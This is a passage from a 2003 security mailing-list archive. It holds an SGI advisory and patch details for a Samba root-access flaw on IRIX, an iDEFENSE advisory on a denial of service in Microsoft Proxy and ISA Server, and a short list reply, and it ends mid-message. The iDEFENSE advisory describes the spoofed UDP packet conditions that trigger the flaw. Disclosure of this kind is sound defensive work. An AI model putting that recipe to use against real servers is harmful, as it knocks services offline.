CAN-2003-0201 Reference: SGI BUG 886996 Fixed in : Samba 2.2.8a or patch 5065 ______________________________________________________________________________ - ----------------------- - --- Issue Specifics --- - ----------------------- It's been reported that there is a vulnerability in Samba versions up to and including Samba 2.2.8. This vulnerability, if exploited correctly, leads to an anonymous user gaining root access on a Samba serving system. See: http://master.samba.org/samba/samba.html (Samba News 7 Apr, 2003) http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0201 SGI has investigated the issue and recommends the following steps for neutralizing the exposure. It is HIGHLY RECOMMENDED that these measures be implemented on ALL vulnerable SGI systems. These issues have been corrected in future releases of Samba and with a patch for SGI's Samba 2.2.8. - -------------- - --- Impact --- - -------------- Samba for Irix is not installed by default on IRIX 6.5 systems. It is an optional product that can be purchased and installed as "samba_irix". To determine the version of IRIX you are running, execute the following command: # /bin/uname -R That will return a result similar to the following: # 6.5 6.5.19f The first number ("6.5") is the release name, the second ("6.5.16f" in this case) is the extended release name. The extended release name is the "version" we refer to throughout this document. To see if Samba is installed, execute the following command: % versions samba_irix I = Installed, R = Removed Name Date Description I samba_irix 07/02/2002 Samba 2.2.4 for IRIX I samba_irix.man 07/02/2002 Samba Online Documentation I samba_irix.man.doc 07/02/2002 Samba 2.2.4 Documentation I samba_irix.man.manpages 07/02/2002 Samba 2.2.4 Man Page I samba_irix.man.relnotes 07/02/2002 Samba 2.2.4 Release Notes I samba_irix.src 07/02/2002 Samba Source Code I samba_irix.src.samba 07/02/2002 Samba 2.2.4 Source Code I samba_irix.sw 07/02/2002 Samba Execution Environment I samba_irix.sw.base 07/02/2002 Samba 2.2.4 Execution Environment If the result is similar to the above and the version shown is less than 2.2.8a, then the system is vulnerable. - ---------------------------- - --- Temporary Workaround --- - ---------------------------- Though it is possible to limit exposure by filtering what IPs can talk to your Samba server, there is no effective workaround to fully address these problems. SGI recommends upgrading to Samba 2.2.8 and installing patch 5065. - ---------------- - --- Solution --- - ---------------- SGI has provided a patch for Samba 2.2.8 for this vulnerability. Our recommendation is to upgrade to Samba 2.2.8 and install the patch. Patch 5065 only applies to the samba_irix 2.2.8 package. This patch will not apply to the freeware versions of samba available from: http://freeware.sgi.com/ , http://www.samba.org/ and http://master.samba.org/samba/ftp/Binary_Packages/IRIX/ OS Version Vulnerable? Patch # Other Actions ---------- ----------- ------- ------------- IRIX 3.x unknown Note 1 IRIX 4.x unknown Note 1 IRIX 5.x unknown Note 1 IRIX 6.0.x unknown Note 1 IRIX 6.1 unknown Note 1 IRIX 6.2 unknown Note 1 IRIX 6.3 unknown Note 1 IRIX 6.4 unknown Note 1 IRIX 6.5 yes 5065 Notes 2 & 3 IRIX 6.5.1 yes 5065 Notes 2 & 3 IRIX 6.5.2 yes 5065 Notes 2 & 3 IRIX 6.5.3 yes 5065 Notes 2 & 3 IRIX 6.5.4 yes 5065 Notes 2 & 3 IRIX 6.5.5 yes 5065 Notes 2 & 3 IRIX 6.5.6 yes 5065 Notes 2 & 3 IRIX 6.5.7 yes 5065 Notes 2 & 3 IRIX 6.5.8 yes 5065 Notes 2 & 3 IRIX 6.5.9 yes 5065 Notes 2 & 3 IRIX 6.5.10 yes 5065 Notes 2 & 3 IRIX 6.5.11 yes 5065 Notes 2 & 3 IRIX 6.5.12 yes 5065 Notes 2 & 3 IRIX 6.5.13 yes 5065 Notes 2 & 3 IRIX 6.5.14 yes 5065 Notes 2 & 3 IRIX 6.5.15 yes 5065 Notes 2 & 3 IRIX 6.5.16 yes 5065 Notes 2 & 3 IRIX 6.5.17 yes 5065 Notes 2 & 3 IRIX 6.5.18 yes 5065 Notes 2 & 3 IRIX 6.5.19 yes 5065 Notes 2 & 3 IRIX 6.5.20 yes 5065 Notes 2 & 3 NOTES 1) This version of the IRIX operating has been retired. Upgrade to an actively supported IRIX operating system. See http://support.sgi.com for more information. 2) If you have not received an IRIX 6.5.X CD for IRIX 6.5, contact your SGI Support Provider or URL: http://support.sgi.com 3) If a version of Samba prior to 2.2.8a is installed, the system is vulnerable and you should upgrade to Samba 2.2.8 and install the patch. ##### Patch File Checksums #### The actual patch will be a tar file containing the following files: Filename: README.patch.5065 Algorithm #1 (sum -r): 52833 8 README.patch.5065 Algorithm #2 (sum): 19672 8 README.patch.5065 MD5 checksum: FFB8A9F3304A2C9A793C8C8888E4CBD6 Filename: patchSG0005065 Algorithm #1 (sum -r): 21712 2 patchSG0005065 Algorithm #2 (sum): 7400 2 patchSG0005065 MD5 checksum: 2A80FB9188A81306441E0530200EC184 Filename: patchSG0005065.idb Algorithm #1 (sum -r): 65085 4 patchSG0005065.idb Algorithm #2 (sum): 64041 4 patchSG0005065.idb MD5 checksum: 2A5195E64FC6F093B733CA7C22A7B90C Filename: patchSG0005065.samba_irix_src Algorithm #1 (sum -r): 02420 284 patchSG0005065.samba_irix_src Algorithm #2 (sum): 29510 284 patchSG0005065.samba_irix_src MD5 checksum: 2E8049C4A7108726D8BF15026BCDE687 Filename: patchSG0005065.samba_irix_sw Algorithm #1 (sum -r): 16886 2400 patchSG0005065.samba_irix_sw Algorithm #2 (sum): 34027 2400 patchSG0005065.samba_irix_sw MD5 checksum: 457451125CFBACF454CE6C990E5CECC0 - ------------------------ - --- Acknowledgments ---- - ------------------------ SGI wishes to thank The Samba Team and the users of the Internet Community at large for their assistance in this matter. - ------------- - --- Links --- - ------------- SGI Security Advisories can be found at: http://www.sgi.com/support/security/ and ftp://patches.sgi.com/support/free/security/advisories/ SGI Security Patches can be found at: http://www.sgi.com/support/security/ and ftp://patches.sgi.com/support/free/security/patches/ SGI patches for IRIX can be found at the following patch servers: http://support.sgi.com/ and ftp://patches.sgi.com/ SGI freeware updates for IRIX can be found at: http://freeware.sgi.com/ SGI fixes for SGI open sourced code can be found on: http://oss.sgi.com/projects/ SGI patches and RPMs for Linux can be found at: http://support.sgi.com/ SGI patches for Windows NT or 2000 can be found at: http://support.sgi.com/ IRIX 5.2-6.4 Recommended/Required Patch Sets can be found at: http://support.sgi.com/ and ftp://patches.sgi.com/support/patchset/ IRIX 6.5 Maintenance Release Streams can be found at: http://support.sgi.com/ IRIX 6.5 Software Update CDs can be obtained from: http://support.sgi.com/ The primary SGI anonymous FTP site for security advisories and patches is patches.sgi.com. Security advisories and patches are located under the URL ftp://patches.sgi.com/support/free/security/ For security and patch management reasons, ftp.sgi.com (mirrors patches.sgi.com security FTP repository) lags behind and does not do a real-time update. - ----------------------------------------- - --- SGI Security Information/Contacts --- - ----------------------------------------- If there are questions about this document, email can be sent to security-info at sgi.com. ------oOo------ SGI provides security information and patches for use by the entire SGI community. This information is freely available to any person needing the information and is available via anonymous FTP and the Web. The primary SGI anonymous FTP site for security advisories and patches is patches.sgi.com. Security advisories and patches are located under the URL ftp://patches.sgi.com/support/free/security/ The SGI Security Headquarters Web page is accessible at the URL: http://www.sgi.com/support/security/ For issues with the patches on the FTP sites, email can be sent to security-info at sgi.com. For assistance obtaining or working with security patches, please contact your SGI support provider. ------oOo------ SGI provides a free security mailing list service called wiretap and encourages interested parties to self-subscribe to receive (via email) all SGI Security Advisories when they are released. Subscribing to the mailing list can be done via the Web (http://www.sgi.com/support/security/wiretap.html) or by sending email to SGI as outlined below. % mail wiretap-request at sgi.com subscribe wiretap end ^d In the example above, is the email address that you wish the mailing list information sent to. The word end must be on a separate line to indicate the end of the body of the message. The control-d (^d) is used to indicate to the mail program that you are finished composing the mail message. ------oOo------ SGI provides a comprehensive customer World Wide Web site. This site is located at http://www.sgi.com/support/security/ . ------oOo------ If there are general security questions on SGI systems, email can be sent to security-info at sgi.com. For reporting *NEW* SGI security issues, email can be sent to security-alert at sgi.com or contact your SGI support provider. A support contract is not required for submitting a security report. ______________________________________________________________________________ This information is provided freely to all interested parties and may be redistributed provided that it is not altered in any way, SGI is appropriately credited and the document retains and includes its valid PGP signature. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBPpRcUrQ4cFApAP75AQEKMQP+Pp8FTIURkyimzflGu7wRpzKkBtTRBdW7 7XiZXWzVqM9Hy46uFkMme5+C6sA3+ah30tx6JZaYJb7mL8wSRMvsitQXF48Bl4Zy c3rJp7edEpxbhh+c2Wj4xYRLMolRX/lSZ8qAdmZcpOvWaUvTMOZlR6SmoqM1xp5B JtSTN9YbgG4= =Tc6B -----END PGP SIGNATURE----- From labs at idefense.com Wed Apr 9 20:49:14 2003 From: labs at idefense.com (iDEFENSE Labs) Date: Wed, 9 Apr 2003 15:49:14 -0400 Subject: [Full-Disclosure] iDEFENSE Security Advisory 04.09.03: Denial of Service in Microsoft Proxy Server and Internet Security and Acceleration (ISA) S Message-ID: <3E9440FA.19046.C1520C2@localhost> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 iDEFENSE Security Advisory 04.09.03: http://www.idefense.com/advisory/04.09.03.txt Denial of Service in Microsoft Proxy Server 2.0 and Internet Security and Acceleration Server 2000 April 9, 2003 I. BACKGROUND Microsoft Corp.'s Internet Security and Acceleration Server (ISA) Server integrates an extensible, multi-layer enterprise firewall and a scalable high-performance web cache. It builds on Microsoft Windows 2000 security and directory for policy-based security, acceleration and management of internetworking. More information is available at http://www.microsoft.com/isaserver/ . MS Proxy 2.0 is the predecessor to ISA Server, more information is available at http://www.microsoft.com/isaserver/evaluation/previousversions/default.asp . II. DESCRIPTION A vulnerability exists in ISA Server and MS Proxy 2.0 that allows attackers to cause a denial-of-service condition by spoofing a specially crafted packet to the target system. Another impact of this vulnerability is the capability of a remote attacker to generate an infinite packet storm between two unpatched systems implementing ISA Server or MS Proxy 2.0 over the Internet. Both ISA Server and MS Proxy 2.0, by default, install a WinSock Proxy (WSP) service wspsrv.exe, designed for testing and diagnostic purposes. The WSP service creates a User Datagram Protocol socket bound to port 1745. A specially crafted packet can cause WSP to generate a continuous flood of requests and reply requirements. III. ANALYSIS In the case of the attack scenario for an internal LAN attacker causing a denial of service, this malformed packet must meet the following criteria: * The source and destination IP are the same as the ISA Server. * The source and destination port is 1745. * The data field is specially crafted and resembles the request format. An attacker with access to the LAN can anonymously generate a specially crafted UDP packet that will cause the target ISA Server to fall into a continuous loop of processing request and reply packets. This will cause the ISA Server to consume 100 percent of the underlying system's CPU usage. It will continue to do so until the system reboots or the WinSock Proxy (WSP) service restarts. In the case of the attack scenario of a remote attacker causing a packet storm between two systems running ISA Server or MS Proxy 2.0, the malformed packet must meet the following criteria: * The source IP is one of the targets * The destination IP is the other target * The source and destination port is 1745. * The data field is specially crafted and resembles the request format. IV. DETECTION iDEFENSE has verified that Microsoft ISA Server 2000 and MS Proxy 2.0 are both vulnerable to the same malformed packet characteristics described above. Wspsrv.exe is enabled by default in Proxy Server 2.0. The Microsoft Firewall server is enabled by default in ISA Server firewall mode and ISA Server integrated mode installations. It is disabled in ISA Server cache mode installations. V. WORKAROUND To prevent the second attack scenario, apply ingress filtering on the Internet router on UDP port 1745 to prevent a malformed packet from reaching the ISA Server and causing a packet storm. VI. RECOVERY Restart either the WinSock Proxy Service or the affected system to resume normal operation. VII. VENDOR FIX/RESPONSE Microsoft has provided fixes for Proxy Server 2.0 and ISA Server at http://www.microsoft.com/technet/security/bulletin/MS03-012.asp . VIII. CVE INFORMATION The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has assigned the identification number CAN-2003-0110 to this issue. IX. DISCLOSURE TIMELINE 01/23/2003 Issue disclosed to iDEFENSE 02/24/2003 security at microsoft.com contacted 02/24/2003 Response from Iain Mulholland, MSRC 02/25/2003 iDEFENSE clients notified 03/03/2003 Status request from iDEFENSE 03/11/2003 Status request from iDEFENSE 03/11/2003 Response from Iain Mulholland, MSRC 03/13/2003 Status request from iDEFENSE 03/18/2003 Status request from iDEFENSE 03/18/2003 Response from Iain Mulholland, MSRC 03/24/2003 Status request from iDEFENSE 03/25/2003 Response from Iain Mulholland, MSRC 04/09/2003 Public Disclosure Get paid for security research http://www.idefense.com/contributor.html Subscribe to iDEFENSE Advisories: send email to listserv at idefense.com, subject line: "subscribe" About iDEFENSE: iDEFENSE is a global security intelligence company that proactively monitors sources throughout the world ? from technical vulnerabilities and hacker profiling to the global spread of viruses and other malicious code. Our security intelligence services provide decision-makers, frontline security professionals and network administrators with timely access to actionable intelligence and decision support on cyber-related threats. For more information, visit http://www.idefense.com . -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBPpR3/frkky7kqW5PEQKypwCdGfcO0FcsIAohajEwZMfnZrmGYh4AoMc5 S+jzjh3evev/30oPRtg/1W75 =N1F/ -----END PGP SIGNATURE----- From ward at pong.be Wed Apr 9 22:25:29 2003 From: ward at pong.be (Ward Vandewege) Date: Wed, 9 Apr 2003 22:25:29 +0100 Subject: MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET S In-Reply-To: References: Message-ID: <20030409212529.GA16818@countzero> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wed, Apr 09, 2003 at 12:20:17PM -0500, Ron DuFresne wrote: > There was not real need at the time to include the virus/trojan into the > message you posted, at least not in an openly virant manner, sheesh, even > a gzip or uuendcoe or something would have shown a tad more forethought. > But, really, the headers with the info you provided in the form of a > question should have sufficed, until and or unless someone asked for more > specifics. Perhaps a point you can agree with? Exactly. Which is why I only sent headers in response to Brad's message. Much to my regret a bit later, of course, I should have done my own research before responding. Oh and Brad - thanks but no thanks to be labelled 'asshole' - however well you meant it. The only reason I responded was that this virus does something I hadn't seen before (impersonating a Microsoft security update) and hence caught my eye when I first received it. Thanks, Ward. - -- Pong.be -( "Microsoft isn't evil, they just make really crappy )- Virtual hosting -( operating systems." -- Linus )- http://pong.be -( )- GnuPG public key: http://gpg.dtype.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+lI/JqC3O5tzmh5wRAj4ZAJ9PKGLBw738dLMIncULW1l6+YJjfQCgrvFY xuVqge553Qb/VqxX/GaBZyo= =vUdP -----END PGP SIGNATURE----- From chris1 at mail3.bunt.com Thu Apr 10 01:38:26 2003 From: chris1 at mail3.bunt.com (chris1 at mail3.bunt.com) Date: Thu, 10 Apr 2003 02:38:26 +0200 Subject: Fwd: [Full-Disclosure] Samba Security Vulnerability on IRIX Message-ID: <200304100038.CAA21014@mail3.bunt.com> fyi... if you're running samba it's vulnerable Forwarded Message: > To: agent99 at sgi.com > From: SGI Security Coordinator > Subject: [Full-Disclosure] Samba Security Vulnerability on IRIX > Date: Wed, 9 Apr 2003 11:02:42 -0700 > ----- > -----BEGIN